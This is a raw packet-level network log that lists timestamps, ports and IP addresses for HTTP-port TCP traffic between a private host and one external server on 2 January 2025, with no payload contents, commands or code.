Jan 2, 2025 20:20:02.968521118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.968530893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.968569994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.968631029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.972012997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.972028017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.972081900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.973211050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.973246098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.973283052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.973283052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.976777077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.976798058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.976809025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.976911068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.976960897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.977960110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.977972031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.978054047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.981482029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.981497049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.981537104 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.981621981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.982695103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.982708931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.982726097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.982760906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.982803106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986439943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986454010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986464024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986476898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986489058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986491919 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986500978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986514091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986517906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986526012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986542940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986553907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986562967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986562967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986572981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986586094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986592054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986596107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986610889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986623049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986623049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986625910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986639023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986644983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986653090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986665010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986671925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986676931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986685038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986692905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986705065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986727953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986727953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986748934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986751080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986761093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986773014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986776114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986783981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986797094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986809015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986814976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986819983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986840963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986852884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986860037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986860037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986865997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986882925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986886978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986895084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986900091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986912012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986923933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986934900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986954927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986965895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986967087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986967087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.986978054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.986989021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987000942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987009048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987009048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987013102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987025023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987035990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987046003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987057924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987070084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987082958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987093925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987095118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987095118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987095118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987106085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987118006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987128019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987138987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987138987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987142086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987153053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987154007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987165928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987184048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987185955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987195015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987207890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987220049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987222910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987231970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987241983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987242937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987255096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987267017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987278938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987284899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987284899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987289906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987303972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987309933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987323999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987335920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987335920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987350941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987364054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987365007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987379074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987390041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987400055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987401009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987415075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987418890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987443924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987449884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987449884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987456083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987471104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987473965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987483978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987497091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.987504005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987504005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.987556934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.001909018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.001921892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.001934052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.001954079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.001967907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.001977921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.001982927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.001991987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.002003908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.002032042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.002032042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.002088070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.018898010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.018913031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.018928051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.018939972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.018953085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.018964052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.018965960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.018978119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.018980026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.018990040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019001961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019013882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019026041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019035101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019035101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019037008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019051075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019058943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019071102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019084930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019098043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019099951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019112110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019114971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019124985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019134045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019139051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019151926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019161940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019171953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019179106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019180059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019185066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019200087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019211054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019218922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019229889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019244909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019252062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019256115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019270897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019283056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019293070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019293070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019296885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019318104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019320965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019320965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019330978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019342899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019347906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019357920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019371033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019383907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019402981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019408941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019423008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019434929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019435883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019435883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019435883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019448042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019459009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019471884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019473076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019484043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019495010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019503117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019512892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019526958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019527912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019542933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019552946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019556046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019567966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019570112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019575119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019589901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019602060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019610882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019614935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019620895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019622087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019638062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019649982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019659996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019664049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019685030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019685030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019699097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019710064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019715071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019715071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019725084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019737959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019747019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019751072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019762993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019774914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019784927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019788980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019788980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019798040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019812107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019831896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019851923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019865036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019867897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019867897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019867897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019877911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019891977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019896030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019903898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019916058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019927025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019938946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019948006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019948006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019951105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019964933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019979954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.019980907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.019994020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020010948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020010948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020011902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020028114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020040035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020051956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020062923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020073891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020073891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020075083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020088911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020096064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020101070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020112991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020123005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020124912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020138979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020143986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020153046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020164013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020174980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020176888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020184040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020190001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020200968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020206928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020220041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020231009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020231009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020236015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.020297050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.020297050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.092511892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.092572927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.092578888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.092597008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.092612028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.092624903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.092627048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.092642069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.092653990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.092664003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.092664003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.092679024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.092695951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:03.107603073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.107624054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.107637882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.107650995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.107661963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.107672930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:03.107686996 CET	80	49704	47.254.187.72	192.168.2.8
